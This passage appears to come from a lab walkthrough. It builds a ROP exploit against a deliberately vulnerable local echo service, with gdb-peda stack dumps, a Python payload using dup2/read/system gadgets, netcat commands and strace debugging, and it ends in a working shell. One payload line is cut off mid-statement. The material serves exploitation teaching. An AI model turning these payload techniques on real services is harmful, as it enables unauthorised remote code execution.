0000| 0xffffd28c --> 0x80485f0 (: jmp DWORD PTR ds:0x804a010)
0004| 0xffffd290 --> 0x8048b6e (<__libc_csu_init+94>: pop edi)
0008| 0xffffd294 --> 0x4
0012| 0xffffd298 --> 0x0
0016| 0xffffd29c --> 0x80485f0 (: jmp DWORD PTR ds:0x804a010)
0020| 0xffffd2a0 --> 0x8048b6e (<__libc_csu_init+94>: pop edi)
0024| 0xffffd2a4 --> 0x4
0028| 0xffffd2a8 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 4, 0x08048906 in echo_service ()
gdb-peda$ context stack 16
[------------------------------------stack-------------------------------------]
0000| 0xffffd28c --> 0x80485f0 (: jmp DWORD PTR ds:0x804a010)
0004| 0xffffd290 --> 0x8048b6e (<__libc_csu_init+94>: pop edi)
0008| 0xffffd294 --> 0x4
0012| 0xffffd298 --> 0x0
0016| 0xffffd29c --> 0x80485f0 (: jmp DWORD PTR ds:0x804a010)
0020| 0xffffd2a0 --> 0x8048b6e (<__libc_csu_init+94>: pop edi)
0024| 0xffffd2a4 --> 0x4
0028| 0xffffd2a8 --> 0x1
0032| 0xffffd2ac --> 0x8048600 (: jmp DWORD PTR ds:0x804a014)
0036| 0xffffd2b0 --> 0x8048b6d (<__libc_csu_init+93>: pop esi)
0040| 0xffffd2b4 --> 0x4
0044| 0xffffd2b8 --> 0x804a060 --> 0x0
0048| 0xffffd2bc --> 0x8
0052| 0xffffd2c0 --> 0x8048670 (: jmp DWORD PTR ds:0x804a030)
0056| 0xffffd2c4 --> 0x0
0060| 0xffffd2c8 --> 0x804a060 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
gdb-peda$ c
Continuing.
[New process 2331]
process 2331 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 3.
Cannot access memory at address 0x80488d3
Cannot insert breakpoint 4.
Cannot access memory at address 0x8048906
--- client side ---
$ (python payload-aslr.py; cat) | nc localhost 7008
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
/bin/sh
We can see that the stack right before returning from the ''echo_service()'' function was similar to the stack figure above. All is OK.
Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment.
--- server side ---
$ ./echo_service 7010
--- client side ---
$ (python payload-aslr.py; cat) | nc localhost 7010
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
/bin/sh
ls
echo_service
echo_service.c
echo_service-rop.txt
payload-aslr-alt.py
payload-aslr.py
payload-no-aslr.py
peda-session-echo_service.txt
ps
PID TTY TIME CMD
8153 pts/4 00:00:00 echo_service
8218 pts/4 00:00:00 echo_service
8265 pts/4 00:00:00 sh
8266 pts/4 00:00:00 sh
8337 pts/4 00:00:00 ps
18617 pts/4 00:00:00 bash
Excellent! We have created a shell by calling ''%%system("/bin/sh")%%'' through ROP on an ASLR-enabled system
As you can see, we rely on the ''read()'' call inside the ''echo_service()'' function to return before we feed the ''%%"/bin/sh"%%'' string into our ROP-induced ''read()'' call. That's why we provide the ''%%"/bin/sh"%%'' string by hand. We could do it into one command sleep by placing a ''sleep'' command before the printing of the payload and the providing of the ''%%"/bin/sh"%%'' string
$ (python payload-aslr.py; sleep 2; echo "/bin/sh"; cat) | nc localhost 7010
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
ls
echo_service
echo_service.c
echo_service-rop.txt
payload-aslr-alt.py
payload-aslr.py
payload-no-aslr.py
peda-session-echo_service.txt
ps
PID TTY TIME CMD
9287 pts/4 00:00:00 echo_service
9661 pts/4 00:00:00 echo_service
9695 pts/4 00:00:00 sh
9697 pts/4 00:00:00 sh
9745 pts/4 00:00:00 ps
18617 pts/4 00:00:00 bash
==== Alternative ASLR Payload and Testing ====
If we wanted to provide the ''%%"/bin/sh"%%'' string in the payload, we would need to update the payload to take care of the fact that the ''read()'' call inside the ''echo_service()'' function expects ''4096'' bytes before returning. We could feed it the entire ''4096'' bytes by adding an extra padding to the payload and then append the ''%%"/bin/sh\0"%%'' string to the payload. The appended string will be read by our ROP-induced ''read()'' call.
The updated payload file will be:
#!/usr/bin/env python
import sys
import struct
# 0x8048b6e: pop edi; pop ebp; ret
pop_pop_ret = 0x8048b6e
# 0x8048b6d: pop esi; pop edi; pop ebp; ret
pop_pop_pop_ret = 0x8048b6d
# libc : 0xb7f561a9 ("/bin/sh")
bin_sh = 0xb7f561a9
# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging.
system_plt = 0x8048670
# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging.
dup2_plt = 0x80485f0
# Symbol "read@plt" is at 0x8048600 in a file compiled without debugging.
read_plt = 0x8048600
# [24] .data PROGBITS 0804a060
data = 0x0804a060
# Offset from buffer start to function return address is 1040.
payload = 1040*"A"
# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1):
# * address of dup2()
# * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
# * dup2 arguments: sockfd (4) and standard output (1)
payload += struct.pack("
As said we've added additional payload to fill the ''4096'' bytes to complete the ''read()'' call inside the ''echo_service()'' function and then we feed the ''%%"/bin/sh\0"%%'' string.
However, the moment we test the program we see it fails:
--- server side ---
$ ./echo_service 7010
--- client side ---
$ (python payload-aslr-alt.py; cat) | nc localhost 7010
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
ls
--- server side under strace ---
$ strace -f -e execve ./echo_service 7011
execve("./echo_service", ["./echo_service", "7011"], [/* 35 vars */]) = 0
[ Process PID=14923 runs in 32 bit mode. ]
Process 15032 attached
Process 15033 attached
[pid 15033] execve("/bin/sh", ["sh", "-c", "/bin/sh"], [/* 344 vars */]) = -1 EFAULT (Bad address)
[pid 15033] +++ exited with 127 +++
[pid 15032] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=15033, si_uid=1000, si_status=127, si_utime=0, si_stime=0} ---
[pid 15032] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0} ---
[pid 15032] +++ killed by SIGSEGV +++
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_KILLED, si_pid=15032, si_uid=1000, si_status=SIGSEGV, si_utime=0, si_stime=0} ---
We use ''strace'' for inspection and see that ''execve()'' returns with error due to an erroneous environment pointer (the third argument). The environment pointer is passed to the stack and, because we overwrite such a large amount with the ''read()'' call, we overwrite the pointer. The solution is to add padding using NUL-bytes (''\0''). In this ways, the environment pointer will be ''NULL'' and the ''execve()'' call will work OK.
We update the extra padding line in the payload:
# Fill 4096 bytes to complete read() call.
bytes_so_far = len(payload)
payload += (4096-bytes_so_far)*"\0"
We test the program again and we see it works:
--- server side ---
$ ./echo_service 7010
--- client side ---
$ (python payload-aslr-alt.py; cat) | nc localhost 7010
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
ls
echo_service
echo_service-rop.txt
echo_service.c
payload-aslr-alt.py
payload-aslr.py
payload-no-aslr.py
peda-session-echo_service.txt
ps
PID TTY TIME CMD
16884 pts/4 00:00:00 echo_service
16962 pts/4 00:00:00 echo_service
16963 pts/4 00:00:00 sh
16965 pts/4 00:00:00 sh
16995 pts/4 00:00:00 ps
18617 pts/4 00:00:00 bash
A shell is created through a ROP-based attack. Work complete!